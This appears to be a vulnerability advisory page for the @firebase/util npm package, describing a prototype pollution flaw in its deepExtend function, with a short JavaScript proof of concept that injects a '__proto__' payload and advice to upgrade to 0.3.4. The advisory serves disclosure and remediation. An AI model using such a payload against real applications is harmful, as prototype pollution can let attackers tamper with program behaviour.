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@firebase/util@0.3.4-canary.ab60f5fa9 vulnerabilities

_NOTE: This is specifically tailored for Firebase JS SDK usage, if you are not a member of the Firebase team, please avoid using this package_

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Direct Vulnerabilities

Known vulnerabilities in the @firebase/util package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

@firebase/util is a wrapper of some Webchannel Features for the Firebase JS SDK.

Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the deepExtend function within the DeepCopy.ts file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

const util = require('@firebase/util');
var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');

const a = {
    nest: {
      number: 1,
      string: '1',
      object: { key: '1' },
      date: new Date(1),
      nest: {
        a: 1
      }
    },
  };

var result = util.deepExtend(a,payload);
console.log({}.polluted);

How to fix Prototype Pollution?

Upgrade @firebase/util to version 0.3.4 or higher.

<0.3.4
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